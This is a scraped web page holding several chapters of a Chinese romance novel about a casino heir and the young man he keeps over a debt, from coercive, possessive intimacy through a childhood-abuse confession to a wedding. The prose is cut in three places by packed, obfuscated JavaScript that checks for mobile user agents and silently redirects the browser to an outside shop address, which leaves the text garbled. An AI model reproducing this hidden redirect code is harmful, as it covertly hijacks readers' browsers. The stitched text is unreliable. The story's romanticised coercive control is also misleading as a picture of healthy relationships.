l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261110|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆厌站起身,语气依旧强势,却少了压迫感,“我让人把早餐端上来。” 没过多久,佣人端着清淡的粥品和营养餐进来,轻轻放在床头。 陆厌直接挥手:“你们下去。” 房间里只剩两人。 李意年挣扎着想自己坐起来,刚一动,腰侧一阵酸软,忍不住轻轻嘶了一声。 下一秒,一只大手伸过来,稳稳托住他的后背,动作小心又笨拙,将他慢慢扶起来,还在他背后垫了个枕头。 这是陆厌第一次,这么轻地碰他。 李意年整个人都僵住,不敢置信地抬头看他。 男人避开他的视线,耳根微微有些不自然,端起粥碗,舀了一勺,递到他嘴边:“张嘴。” “我、我自己可以……” “我让你张嘴。”陆厌语气沉了点,却没凶,只是固执。 李意年不敢再拒绝,乖乖张口。 粥的温度刚刚好,清淡养胃,和他这个人一样,带着种生硬却真切的温柔。 陆厌喂得很认真,眉头微蹙,像是在处理什么天大的事,每一勺都吹过,确认不烫才递过去。 喂完半碗,他放下碗,拿纸巾给少年擦嘴。 指尖擦过唇角时,动作轻得近乎温柔。 “今天不用去办公室。”陆厌开口,声音压得很低,“就在床上休息。” 李意年怔住:“……可是。” “没有可是。”陆厌打断他,眼神深邃,带着不容置疑,“我说了,你休息。” 他顿了顿,避开李意年的目光,硬邦邦平地补充了一句: “我不想再看见你,晕在我面前。” 话音落下,他伸手,轻轻揉了揉李意年蓬松的卷毛。 不再是以往那种带着占有欲的揉捏,而是单纯的、安抚的触碰。 “以后……”陆厌喉结滚动了一下,艰涩地吐出几个字,“我会轻点。” 这三个字,从向来狠戾霸道、行事猛厉的陆厌嘴里说出来,几乎算得上是低头。 李意年的眼睛猛地一红,眼泪毫无预兆地掉了下来。 不是害怕,不是委屈。 是太久没有被人这样小心翼翼地对待过,久到他都快忘了,自己也是会疼、会累、需要被轻轻照顾的人。 陆厌一看他哭,瞬间慌了手脚。 他最会威胁人,最会掌控人,却完全不会哄哭了的小卷毛。 “哭什么?”他语气急了点,手忙脚乱地擦他的眼泪,动作笨拙又无措,“我弄疼你了?还是哪里不舒服?你说,别哭……” 他从来没有这么低声下气过。 可对着李意年的眼泪,他所有的锋芒和强势,全都溃不成军。 李意年只是摇着头,眼泪掉得更凶,却轻轻、轻轻地,往他身边靠了一点点。 这个微小的动作,让陆厌整个人都僵住。 他缓缓收紧手臂,小心翼翼地将人抱进怀里,动作轻得像抱着易碎的瓷器。 窗外的阳光洒进来,落在两人身上。 那个冷漠偏执、狠戾霸道的赌场继承人,第一次收起了所有锋芒。 抱着他累晕过一次的小吉祥物,笨拙地、认真地,学着温柔。 他终于开始明白—— 占有不是一味地猛冲,不是把人锁到窒息。 而是…… 好好把他留在身边。 好好,疼他。 15. 陆漠心年·三 第七章本能的害怕 天色一暗,赌场的喧嚣又开始在整栋楼里蔓延。 李意年坐在床边,指尖微微发紧。 上午过得异常平静——陆厌没让他下床,没让他去办公室当吉祥物,只是让佣人送了几次温水和点心,偶尔进来看看他,眼神比从前软了太多,却也让他更加不安。 他太习惯陆厌的强势、霸道、毫不留情。 突然而来的温柔,反而像一层薄冰,他踩在上面,每一步都提心吊胆。 到了晚上,他还是像这两个多月来无数次那样,乖乖进了浴室。 热水淋在身上,暖不透心底那点本能的恐惧。 他一想到夜里要发生的事,身体就下意识地绷紧,腰上、身上那些还没完全散去的酸软感,立刻清晰起来。 昨晚晕过去的画面,在脑子里一遍遍回放。 他怕陆厌只是一时心软,怕到了晚上,那个强势凶猛的陆厌,会重新回来。 洗完澡,他换上陆厌让人准备的浅灰色睡衣,布料柔软,却让他浑身不自在。 头发湿漉漉地搭在额前,卷毛软塌塌的,整个人看上去又乖又弱,像一拧就出水的棉花。 他站在浴室门口,犹豫了很久,才轻轻走出去。 陆厌已经在房间里。 他没穿西装,只穿了一件黑色宽松真丝睡衣,领口微敞,少了几分平日的狠戾,多了点居家的沉敛。听见脚步声,他抬眼望过来,目光落在李意年发白的脸颊、微微颤抖的睫毛上,眉头轻轻一皱。 一眼就看出来—— 小孩在怕。 李意年低着头,站在离床几步远的地方,不肯再靠近。 双手紧紧攥着睡衣下摆,指节都泛白了。 陆厌没有像往常那样,一把将人拽过来。 他只是放轻了声音,低沉缓和:“过来。” 李意年脚像钉在原地,动了动,没敢挪。 他怕。 怕一靠近,就又要承受那种几乎要散架的力道。 怕自己再一次,直接晕过去。 陆厌看着他这副受惊小兽的模样,心口那点刚冒头的温柔,又软了一层。 他慢慢起身,没有走太快,怕吓到人,一步一步,走到李意年面前。 192cm的身高,依旧带着压迫感,却不再是那种要将人吞噬的强势。 他低头,看着少年湿漉漉的卷毛,看着他垂着的眼尾泛红,轻声问: “怕我?” 李意年嘴唇轻轻抖了一下,很小声地、几乎听不见地“嗯”了一声。 一个字,像根细针,轻轻扎了陆厌一下。 他从前最享受李意年怕他、不敢反抗、只能乖乖听话的样子。 可现在,他一点都不喜欢。 陆厌沉默了几秒,伸手。 李意年下意识闭上眼,肩膀猛地一缩,以为会被用力攥住、拽到床上。 可预想中的力道没有落下来。 一只温热的大手,轻轻落在他的头顶,很轻、很慢地揉了揉他的卷毛。 “别怕。” 陆厌的声音很低,带着一种从未有过的认真。 “我说过,会轻点。” “今晚……我不动你。” 李意年猛地睁开眼,抬头看向他,眼神里全是不敢相信。 不动他? 陆厌看着他茫然又惊讶的样子,喉结轻轻滚了一下,指尖顺着他湿软的头发,轻轻滑到耳后,动作轻得不像话。 “你身体还没恢复。” “我不碰你。” 他顿了顿,望着少年干净又脆弱的眼睛,一字一句,说得格外清晰: “我不想,再把你弄晕第二次。” 灯光落在李意年的脸上,映得他眼睛微微发亮。 长久以来紧绷的身体,在这一刻,终于悄悄松了一点点。 陆厌弯腰,伸手轻轻托起他的腿弯,另一只手揽住他的后背,动作稳而轻,将他整个人打横抱了起来。 这一次,李意年没有害怕得发抖。 他只是僵硬了一瞬,然后,很小幅度地、轻轻抓住了陆厌的衣襟。 男人抱着他,一步步走向床边,动作小心得像是抱着一件稀世珍宝。 不再是掠夺。 不再是占有。 而是—— 呵护。 第八章小兽的本能 被陆厌轻轻放在床上时,李意年整个人还是懵的。 没有强迫,没有掠夺,没有那种让他浑身发紧的力道。 只有柔软的床垫,和男人身上沉稳安心的气息。 灯被陆厌关了,只留一点床头微弱的夜灯,昏暖的光裹着一室安静。 身边的床微微一陷,陆厌躺了下来。 李意年身体绷得笔直,睁着眼望着黑暗,耳朵却死死竖着,连呼吸都不敢太重。身边人的气息太清晰,沉稳、温热,笼罩着他,却没有像往常一样压过来。 真的……不碰他。 紧绷了一整晚的神经,一点点松懈下来。 连日累积的疲惫,像潮水一样漫上来。 可他还是怕。 习惯了被圈在怀里、被牢牢占有的日子,突然身边空着,反而让他没有安全感,像被抛弃在陌生地方的小兽,心慌得厉害。 黑暗里,他悄悄往陆厌那边挪了一点点。 很小很小的动作,几乎看不见。 陆厌立刻察觉到了,却没动,只安静地躺着,给足他安全感。 又过了一会儿,李意年像是终于鼓起全部勇气,试探着、轻轻靠了过去。 肩膀碰到男人手臂的那一刻,他顿了顿,见陆厌没反应、没凶他,才稍稍放松。 再然后—— 像是找到浮木的落水者,又像是天生就该黏在他身边的小兽,李意年迷迷糊糊地、本能地往他身上靠。 先是胳膊搭过去,再是腿轻轻缠上来。 最后整个人都软乎乎地扒在了陆厌身上,脸埋在他颈窝,蓬松的卷毛蹭着他的锁骨,手脚都圈着他,像一只终于找到巢穴的小狮子,死死抱着热源不肯放。 整个人扒得牢牢的。 陆厌身体几不可查地僵了一下。 长这么大,从没有人敢这么贴着他、抱着他,这么毫无防备地扒在他身上。 可怀里的人太轻、太软、太乖。 温热的呼吸洒在颈间,卷毛蹭得他心头发痒,那点隐忍依赖的模样,直接戳中他心底最软的地方。 陆厌缓缓抬手,没有用力,只是轻轻落在他后背,一下、一下,极轻极慢地顺着他的卷发。 像在安抚一只受惊后终于肯靠近的小兽。 “不怕了?”他低声开口,嗓音哑得厉害,却温柔得不像话。 李意年没说话,只是在他怀里蹭了蹭,把脸埋得更深,手脚又收紧了一点,黏得更紧。 像是在无声回答: 跟着你,就不怕。 陆厌心口一烫,原本只是虚放着的手,终于轻轻收紧,将怀里扒着自己的小卷毛稳稳抱住。 不占有,不掠夺,不强势。 就只是抱着。 怀里的人太累了,没过一会儿,呼吸就变得均匀绵长,安安稳稳睡了过去。 睡梦里还不安分地往他怀里缩,整个人几乎是挂在他身上,蜷成一小团,温顺又依赖。 陆厌睁着眼,在黑暗里躺了一整夜。 怀里抱着他的小吉祥物,感受着少年安稳的呼吸、温热的体温、还有那毫无防备的依赖。 他忽然觉得。 比起凶猛的占有、一次次把人弄疼弄晕。 这样安安静静被抱着、被依赖、被全身心信任的感觉。 好像……更让他上瘾。 窗外夜色深沉,室内一片安静。 那个向来狠戾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆厌心口一软,不再逗他,只是抬手,顺着他汗湿又蓬松的卷发,一下一下轻轻摸着。 动作自然又熟练,像是已经做过千百遍。 “还累不累?”他放轻声音问。 李意年安静了几秒,很小声地摇头: “……不累了。” 是真的不累。 没有前几次醒来那种浑身散架的酸痛,只有睡得很足的安稳,和身边人带来的、从未有过的安心。 陆厌指尖轻轻捏了捏他后颈,语气沉而认真: “今天继续休息,不用去办公室。” 李意年终于从他怀里稍稍抬头,下垂的眼睛湿漉漉的,带着点茫然: “可是……债……” “债不用你天天盯着还。”陆厌打断他,眼神沉了点,却不是凶,“我陆厌的人,不用把自己累晕了还债。” 他的人。 这三个字依旧霸道,可这一次,李意年听着,却没有以往那种被囚禁的窒息感。 反而有点细微的、发烫的暖意,悄悄钻进心底。 他看着陆厌深邃的眼眸,看着对方眼底毫不掩饰的占有,却也藏着他第一次看懂的、笨拙的温柔。 犹豫了几秒,李意年没再挣扎着下去。 他轻轻往陆厌怀里又靠了靠,脸颊贴在他温热的胸口,听着沉稳有力的心跳。 像找到了一个可以暂时停靠的地方。 陆厌感受到怀里人的顺从与依赖,嘴角几不可查地勾了一下,手臂缓缓收紧,将人抱得更安稳。 清晨的阳光温柔地洒在两人身上。 一个不再害怕, 一个不再凶猛。 从这一天开始, 夜里爬在他身上睡, 清晨被他抱着醒, 成了他们之间,新的日常。 16. 陆漠心年·四 第十章办公室里的羞赧 休养了整整半个月。 这段日子里,陆厌说到做到,真的半点没碰他。 夜里李意年照旧习惯性扒在他身上睡,抱着、贴着、蹭着,像只黏人的小狮子,陆厌就安安稳稳抱着他,一夜夜耐心得不像话。 身体彻底缓了过来,眼底的疲惫散了,脸色也恢复了从前那种干净透亮,卷毛又蓬松得支棱起来,软萌得让人总想伸手揉一揉。 这天傍晚,赌场刚热闹起来。 李意年被陆厌带回了办公室——重新当他的小吉祥物。 只是这一次,他不用再缩在角落的小沙发里惶恐不安,而是可以安安静静坐着,偶尔陆厌处理文件间隙,会伸手把他拉到腿上抱一会儿,揉一揉他的卷毛,低声说两句话。 窗外霓虹闪烁,室内安静得只剩下笔尖划过纸张的声音。 李意年乖乖坐在陆厌腿上,靠着他的胸口,整个人放松又温顺。 直到陆厌处理完最后一份文件,办公室的门被他从内反锁。 “咔嗒”一声轻响。 李意年莫名心跳一慌。 男人的下巴抵在他发顶,温热的呼吸落在颈侧,低沉的嗓音带着一丝刻意压低的哑,听得人耳根发烫: “半个月了。” 李意年瞬间明白他指的是什么,脸颊“唰”地一下红透,从耳尖蔓延到脖颈,整个人都绷了起来。 “陆、陆厌……这里是办公室……” 他声音又软又慌,带着明显的羞赧。 外面就是人声鼎沸的赌场,走廊随时有人走过,这里是陆厌发号施令的地方,是所有人敬畏的场所……怎么可以在这里。 陆厌就是故意的。 就是想看他这副害羞到快要哭出来、却又躲不开的模样。 想看平时安安静静的小吉祥物,在他怀里红着眼尾、浑身发软的样子。 男人低笑一声,胸腔震动传来,让李意年更慌了。 “办公室怎么了。” 陆厌的手轻轻扣住他的腰,力道不再像从前那样猛,却依旧带着不容拒绝的占有,“我的地方,我的人,想怎么样,都可以。” 他刻意放慢动作,指尖轻轻划过他的腰侧,引得怀里的人轻轻一颤。 李意年羞得把头埋进他颈窝,不敢抬头,声音细得发颤: “会、会有人来的……” “不会。” 陆厌吻了吻他泛红的耳尖,声音低沉又蛊惑,“我说了,没人敢进来。” 他要的就是这种环境带来的紧张感,要的就是李意年又羞又怕、却只能紧紧抓着他的样子。 半个月的耐心与温柔,积攒到这一刻,全都变成了克制又温柔的掠夺。 不再凶猛,不再失控,不会再把他弄晕。 却每一下,都精准地让他羞得浑身发烫,眼泪在眼眶里打转,不是疼,是羞得受不了。 李意年抓着他的衬衫,指节发白,整个人缩在他怀里,连声音都不敢放大,细碎的哽咽被强行憋在喉咙里,眼尾红得像染了胭脂。 蓬松的卷毛乱糟糟地蹭着他的颈窝,脸颊滚烫,浑身都透着羞赧到极致的软。 陆厌低头看着他这副模样,眼底翻涌着占有欲与温柔。 他终于彻底确定—— 他要的从来不是一时的发泄。 而是这个会害羞、会害怕、会累晕、会扒着他睡觉、只属于他一个人的小卷毛。 窗外霓虹流转,室内气息渐暖。 办公桌前,少年羞得几乎埋进男人怀里。 那个冷漠狠戾的陆厌,只对他一人,藏着最偏执的温柔,和最幼稚的小心思。 ——就是想看他害羞,想看他只在自己面前,露出这副无人可见的软模样。 办公室里暖光昏沉。 落地窗对着楼下整片赌场霓虹,光一缕缕打进来,落在李意年泛红的耳尖和蓬松的卷发上。 陆厌就抱着他站在窗前,故意让他半靠在自己怀里,从背后稳稳圈着,不让他躲。 李意年整个人都软了,脸颊烫得厉害,眼睛不敢往楼下看,只死死攥着陆厌的袖口,声音细得发颤: “别、别在这里……别人会看见的……” 陆厌低头,下巴抵在他肩窝,低低笑了一声,胸腔的震动都传进他怀里。 “看见又怎么样。” “整个赌场,都知道你是我的。” 他就是故意的。 故意让他紧张,故意看他羞得快要哭出来,又不敢大声,只能把所有情绪都憋在喉咙里。 李意年被他弄得浑身发颤,眼泪在眼眶里打转,却连挣扎的力气都没有,只能任由陆厌抱着,从落地窗一路挪到里间的小床。 刚一坐下,陆厌就又把他圈进怀里,力道不轻不重,刚好把人锁在自己身前。 不再像以前那样猛,却每一下都带着克制的温柔,和明目张胆的占有。 李意年埋在他颈间,连呼吸都不敢太重。 就在这时—— “叩、叩、叩——” 三声不轻不重的敲门声,从办公室正门传来。 李意年浑身一僵,瞬间吓得连呼吸都停了,整个人猛地往陆厌怀里缩,眼睛都吓红了。 有人来了! 万一进来……万一被看见…… 他慌得想去推陆厌,想躲起来,声音都抖了: “有人、有人来了……” 陆厌却半点没慌。 他只是眉峰微冷,抬手轻轻捂住李意年的嘴,不让他发出一点声音,另一只手依旧稳稳抱着人不放,甚至故意把人抱得更紧。 动作温柔,却强势得不容反抗。 门外传来助理小心翼翼的声音: “陆少,有份紧急文件需要您签字。” 李意年整个人都僵在陆厌怀里,耳朵竖得笔直,心跳快得要炸开。 他能清晰听见门外的脚步声,能想象到外面的人就站在几步之外。 只要门一开,他这副模样就全被看光了。 他吓得眼泪都掉了下来,湿漉漉地看着陆厌,眼神里全是哀求。 陆厌垂眸,看着怀里吓哭、却只能被他牢牢抱着、半点逃不掉的小卷毛。 眼底的戾气全散了,只剩下深沉的、藏不住的温柔和占有。 他没松开手,只是对着门外,声音冷淡、平稳,不带一丝异样: “放门口。” 门外顿了顿:“可是陆少,这份很急……” “我说,放门口。” 陆厌的语气沉了一度,自带压迫感。 “……是。” 门外的脚步声渐渐远去。 直到彻底听不见动静,李意年才整个人松了口气,软在陆厌身上,眼泪还在掉,不是疼,是吓的,也是羞的。 陆厌这才缓缓松开捂住他嘴的手,低头,轻轻吻掉他脸上的泪。 动作很轻,带着一点恶劣的得逞,又藏着极致的疼惜。 “怕什么。”他低声哑笑,“有我在。” 李意年埋在他怀里,哭得一抽一抽的,抬手轻轻捶了一下他的胸口,又软又无力。 陆厌抓住他的手,低头吻了吻他的指尖,抱着他重新躺回去。 这一次,他不再故意逗他,只是安安静静地把人圈在怀里,用体温把他彻底裹住。 “别怕了。” “没人敢进来。” “也没人,能看你。” 窗外霓虹依旧闪烁,门内却只剩下安稳的呼吸。 李意年缩在他怀里,渐渐不再发抖,下意识地,又像夜里那样,往陆厌身上扒紧了一点。 他还是会害羞,还是会害怕。 可他已经开始明白—— 这个人再恶劣、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261112|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再霸道,也不会真的让他受委屈。 只会把他,护得谁都碰不到。 回到别墅时已经是深夜。 李意年全程没说话,靠在副驾上蔫蔫的,卷毛耷拉着,一看就是闹了小情绪。 白天在办公室,落地窗旁的紧张、被敲门声吓得掉眼泪、被陆厌故意抱着不肯放……所有羞到极致的慌乱堆在一起,最后就变成了一点点委屈又生气的小脾气。 他不是真的恨,就是气陆厌太坏了。 明知道他怕,明知道他害羞,还故意逗他、吓他,看他手足无措的样子就开心。 一进卧室,陆厌就打横把人抱起,直接往浴室走。 恒温浴缸已经放好了水,氤氲的热气裹着淡淡的香,暖得让人放松。 陆厌小心翼翼把李意年放进水里,自己也跟着坐了进去,从背后轻轻圈住他。 少年清瘦的背贴着他的胸膛,水温刚好,却暖不透李意年紧绷的肩线。 他全程沉默,小手放在水里搅啊搅,就是不回头,也不看陆厌。 陆厌一看他这副样子就知道—— 小孩生气了。 这是李意年第一次敢跟他闹脾气。 不是害怕的沉默,是带着小委屈的赌气。 陆厌喉间低低笑了一声,下巴抵在他发顶,声音放得又轻又软: “还气?” 李意年抿着嘴,不吭声。 “气我刚才在办公室吓你?” 少年肩膀轻轻抖了一下,依旧不理他,只是把脸往旁边别得更狠了一点,耳尖还带着没褪干净的红。 陆厌心里又痒又软。 平时乖得像小绵羊,闹起脾气来,反倒更招人疼。 他不再逗,伸手捞过沐浴球,沾了温水,轻轻在李意年肩上、手臂上慢慢擦拭。 动作轻得不像话,比对待最珍贵的瓷器还要小心,半点没有白天在办公室里的恶劣。 “是我不好。” 陆厌先低了头,声音低沉又认真,“不该故意吓你,不该让你慌成那样。” 李意年指尖微微一顿。 他从没想过,陆厌会跟他道歉。 这个向来霸道、说一不二的男人,竟然会因为他闹点小脾气,就主动认错。 心里那点气,瞬间就松了一大半。 可他还是拉不下脸,依旧绷着小脸,小声嘟囔了一句,细得像蚊子哼: “你就是故意的……看我害怕,你就高兴……” “是。”陆厌坦然承认,指尖轻轻划过他腰侧软肉,引得人轻轻一颤,“我就喜欢看你只对我害羞、只对我慌的样子。” “但下次不吓你了。” 他把人往怀里带紧了点,额头抵着他的鬓角,语气认真得不像话, “不委屈你。” 温热的水裹着两人,热气模糊了眉眼。 李意年趴在他胸前,听着他沉稳有力的心跳,那点仅剩的小脾气,彻底烟消云散。 他沉默了几秒,终于不再赌气,轻轻转过身,面对面抱住陆厌的脖子,把脸埋进他颈窝。 像平时夜里那样,本能地往热源上靠。 只是这一次,他很小声、很轻地,哼了一声。 带着点小傲娇,又带着点彻底松快的软。 陆厌被他这一声哼得心都化了,手臂用力,把人紧紧锁在怀里,低头在他湿漉漉的卷毛上亲了一口。 浴缸里水波轻晃。 白天所有的羞赧、紧张、害怕,全都被温水冲淡。 只剩下—— 坏心眼的男人,终于收敛了恶作剧。 闹脾气的小吉祥物,也乖乖落回了他怀里。 李意年闷在他颈间,小声开口: “以后不许再这样了。” 陆厌低笑,声音温柔得一塌糊涂: “好。” “都听你的。” 17. 陆漠心年·五 午后的商场安静明亮,暖光落在落地橱窗上。 陆厌难得抽空,带李意年出来买衣服。 少年穿什么都好看,清瘦干净,试衣间出来时,蓬松的卷毛搭在额前,乖乖站在那儿等陆厌点头,像只等着被夸的小奶狗。 陆厌看着看着,就忍不住伸手揉乱他的头发。 一路逛着,经过转角一家蛋糕店时,甜香扑面而来。 李意年的脚步,几不可查地顿了半秒。 就是这半秒,被陆厌精准捕捉。 他忽然想起,家里保姆每天下午送来的蛋糕、小甜点、马卡龙,李意年从来都是吃得干干净净,连盘子边的奶油都要轻轻舔掉。 不贪多,却每一口都珍惜得不得了。 不像单纯喜欢吃,更像…… 在弥补什么。 陆厌垂眸看了看身边的人。 明明已经被他护在身边,可眼底那点藏不住的、对甜香的软意,还是暴露了一切。 ——果然,还是个没长大的小孩心思。 回程的车里,暖气开得很足。 李意年乖乖靠在副驾,手里抱着陆厌刚给他买的新外套,安安静静看着窗外。 陆厌忽然开口,声音低沉随意: “你很喜欢吃甜点?” 李意年愣了一下,耳尖微微泛红,小声点头: “……嗯。” “为什么?” 陆厌目视前方,语气听不出情绪,“每次都吃得那么干净。” 李意年手指轻轻蜷了蜷。 这个问题,他从来没跟任何人说过。 他沉默了好一会儿,声音轻轻的、淡淡的,像在说别人的故事: “小时候……家里不富裕。” “我爸妈舍不得花钱,从来不给我买。” “楼下街口有一家蛋糕店,我每天放学都路过,闻着香味,就站在外面看很久。” 他顿了顿,喉结轻轻动了一下。 “他们宁愿花钱买烟抽,也不会给我买一块小蛋糕。” “那时候我就想,等我长大了,有钱了,一定要天天吃。” 车里静了几秒。 陆厌握着方向盘的手指,微微收紧。 “后来呢?” “后来……”李意年声音轻得几乎听不见,“我还没来得及吃上几次,那家店就倒闭了。” 风从车窗缝隙吹进来,拂乱他额前的碎发。 “从那以后,我就再也没吃过那个味道。” “也算是……心里唯一一个遗憾吧。” 不是什么惊天动地的大事。 没有被抛弃,没有被伤害,只是一块小小的蛋糕。 可就是这点甜,小时候没得到,长大了就成了心底一道轻轻的疤。 陆厌侧头看了他一眼。 少年垂着眼,长睫毛轻轻垂着,表情很平静,没有委屈,没有难过,好像早就习惯了。 可就是这份平静,让陆厌心口微微发闷。 他以前从不知道,李意年这副乖顺又隐忍的样子,是这么一点点熬出来的。 连一块蛋糕,都成了遗憾。 陆厌没说话,只是伸手,轻轻握住李意年放在腿上的手。 掌心干燥温暖,力道稳稳的,带着无声的安抚。 李意年微微一怔,转头看他。 陆厌目视前方,声音低沉,却异常认真: “以后想吃多少,就吃多少。” “喜欢哪家,我就给你买下来。” “再也不会让你,站在外面看。” 李意年看着他线条冷硬的侧脸,眼眶忽然有点发热。 他从小就知道,想要的东西要自己忍,自己藏,不能闹,不能哭。 没人会惯着他,没人会把他的小遗憾当回事。 可现在,有人把他藏了这么多年、连提都很少提的小事,认认真真放在了心上。 他轻轻“嗯”了一声,很小声,却很乖。 过了一会儿,李意年悄悄往陆厌那边靠了靠,肩膀轻轻贴着他的手臂。 像一只终于被投喂到甜点的小兽,安安静静,满心都是软乎乎的暖意。 陆厌侧头,看了眼他泛红的耳尖,嘴角几不可查地弯了一下。 那块迟到了很多年的甜。 他会一点一点,全都补给李意年。 再也不会让他,带着遗憾长大。 车里的暖气还很足,可李意年说完蛋糕那段话,整个人却像是被拽回了冰冷的小时候。 他垂着眼,手指死死攥着衣角,指节泛白。 刚刚压下去的情绪,一点点翻涌上来,堵得他胸口发闷。 陆厌一眼就看出他不对劲。 小孩不说话了,连呼吸都放得很轻,卷毛耷拉着,整个人蔫蔫的,像被雨水打湿的小兽。 他没催,只是单手握着方向盘,另一只手始终稳稳牵着李意年,用温度一点点裹着他。 过了很久,久到车子堵在路口,李意年才声音发哑,轻轻开口。 像是自己憋不住了,把藏了十几年的话,一点点抖出来。 “……他们不是不疼我。” “是根本,没把我当过小孩。” 他声音很轻,轻得发飘,每一个字都带着没愈合的疼: “我爸爱赌,欠了好多钱,一回来就发脾气,摔东西,打我妈。” “我妈不敢反抗他,就把所有气都撒在我身上。” “骂我,掐我,说我是累赘……” 陆厌握着他的手猛地一紧。 指节因为用力而泛青,眼底的温度一点点冷下去,戾气在瞳孔深处翻涌。 李意年没察觉,只是沉浸在自己的回忆里,声音发颤,却倔强地不掉泪: “有时候他打我妈,我上去拦,他就连我一起打。” “打过最狠的一次……我头破了,流了好多血,他也没管我。” “还是邻居看不下去,带我去包扎的。” “他们从来不会给我买蛋糕,不会问我冷不冷、饿不饿。” “我小时候最大的愿望,不是吃甜的,是……家里不要吵架,不要打人。” 可连这个愿望,都从来没实现过。 蛋糕店的遗憾,只是最表面的一小块糖。 真正扎在他心底、拔不掉的刺,是从来没有被爱过的童年。 是父亲的拳头,母亲的怨恨,是一个连安全感都没有的家。 李意年说着,鼻尖发酸,眼眶猛地红了。 他飞快低下头,不想让陆厌看见自己哭。 他怕被嫌弃,怕被说矫情,怕连现在这点温暖,都因为他的过去而消失。 可下一秒,手腕被轻轻一拽。 车子刚好停在路边,陆厌直接解了安全带,俯身把他轻轻揽进怀里。 没有用力,没有占有,只是很轻、很小心地抱着。 像抱着一件碎过一次、再也不敢用力碰的东西。 李意年僵了一秒,再也绷不住,眼泪“唰”地掉了下来。 不是大哭,是压抑了十几年的委屈,一下子决堤。 他埋在陆厌怀里,肩膀轻轻发抖,哭声闷在喉咙里,又轻又碎。 陆厌心口像被一只手狠狠攥住,疼得发闷。 他见过凶狠的对手,见过不要命的赌徒,见过商场上最阴狠的算计,从来没皱过一下眉。 可此刻抱着怀里这个哭到发抖、连哭都不敢大声的小孩,他第一次觉得—— 心疼得想杀人。 他不敢想象,那么小的李意年,是怎么一次次挨完打,躲在角落里,闻着街口蛋糕店的香味,偷偷羡慕别的小孩。 不敢想象,他是怎么在打骂和恐惧里,长成现在这样乖顺、隐忍、连生气都不敢大声的样子。 陆厌轻轻拍着他的背,动作笨拙又温柔,声音哑得厉害: “不哭了。” “都过去了。” “以后没人敢打你,没人敢骂你。” “你不是累赘,你是我的人。” 他顿了顿,抱着李意年的手臂一点点收紧,语气沉得像誓言: “你爸妈欠你的,我给你。” “他们没给你的爱,没给你的甜,没给你的家……我全都给你。” “以后我就是你的家。” 李意年哭到浑身发软,死死抓着陆厌的衬衫,把脸埋在他怀里,像是要把十几年的委屈全都哭干净。 车窗外人来人往,车内却安静得只剩下轻浅的哭声。 那个从来没人疼、没人护、连一块蛋糕都成遗憾的小孩,终于在这一刻,找到了愿意把他捧在手心里的人。 陆厌低头,轻轻吻去他脸上的泪,吻着他泛红的眼尾,声音轻而坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我从一开始,想要的就只有你。” 李意年整个人都僵住了,脑子一片空白。 不是因为债。 不是因为他有用。 不是因为他要偿还什么。 原来…… 从一开始,陆厌就只是想让他留在身边。 所谓的债务、所谓的偿还,全都是借口。 就是为了把他从那个冰冷的家里带出来,护在身边,宠着、爱着、看着他。 他这些天一直愧疚不安、怕自己没用、怕被抛弃的东西,从头到尾,都只是一个温柔的圈套。 “那你为什么不早说……” 李意年眼眶一点点泛红,声音发颤,分不清是委屈还是心慌, “我一直以为,我是因为欠债才留在这的……” 陆厌看着他快要哭出来的样子,心口一软,伸手把人紧紧抱住,力道温柔又坚定。 “早说,你这只小刺猬,会乖乖留下吗?” “你那么怕我,那么想逃,我不拿这个当理由,你怎么肯安安心心待在我身边。” 他低声叹口气,下巴抵在他发顶: “我就是想看你留在我身边。 想每天醒来都能看见你, 想夜里抱着你睡, 想给你买蛋糕, 想把你小时候没得到的全都给你。” “债这种东西,我从来没放在心上。” “我只上心你。” 李意年埋在他怀里,眼泪无声地掉了下来。 不是难过,不是害怕。 是这么久以来的不安、忐忑、自我怀疑,在这一刻全都碎了。 原来他不是因为亏欠才被留下。 原来他是因为被喜欢、被在乎、被想要,才被捧在手心里。 原来从始至终,他都不是累赘。 他抬手,轻轻抱住陆厌的腰,把脸深深埋进他的胸口,听着沉稳有力的心跳。 “陆厌……” “嗯。” “你真坏。” 少年的声音又软又哭,还带着一点小小的埋怨。 陆厌低低笑出声,胸腔震动,抱着他更紧。 “是,我坏。” “但我只对你坏,也只对你好。” 窗外暮色渐浓,书房里暖光温柔。 那笔所谓的债,终于在这一刻彻底清零。 剩下的, 只有满心满眼,都是彼此的两个人。 18. 陆漠心年·六·完·篇外篇 日子安稳又温柔地往前走。 李意年彻底卸下了所有不安与防备,不再怕、不再躲,会主动凑过去抱陆厌,会在他处理工作时安安静静陪在旁边,会在吃到甜蛋糕时眼睛弯成小月牙。 陆厌说到做到,把他宠成了全世界最不用懂事的小孩。 过去的伤没有消失,但被日复一日的温柔一点点盖过去,慢慢长出了新的暖意。 后来某一天,陆厌直接牵着他的手,登上了飞往法国的私人飞机。 李意年全程懵懵懂懂,只知道要去一个很远、很漂亮的地方。 直到抵达那座藏在花海与古堡间的小镇,他才后知后觉地反应过来—— 这不是旅行。 是婚礼。 没有多余的宾客,没有繁杂的应酬。 只有他们两个人,和几个被陆厌安排过来的工作人员。 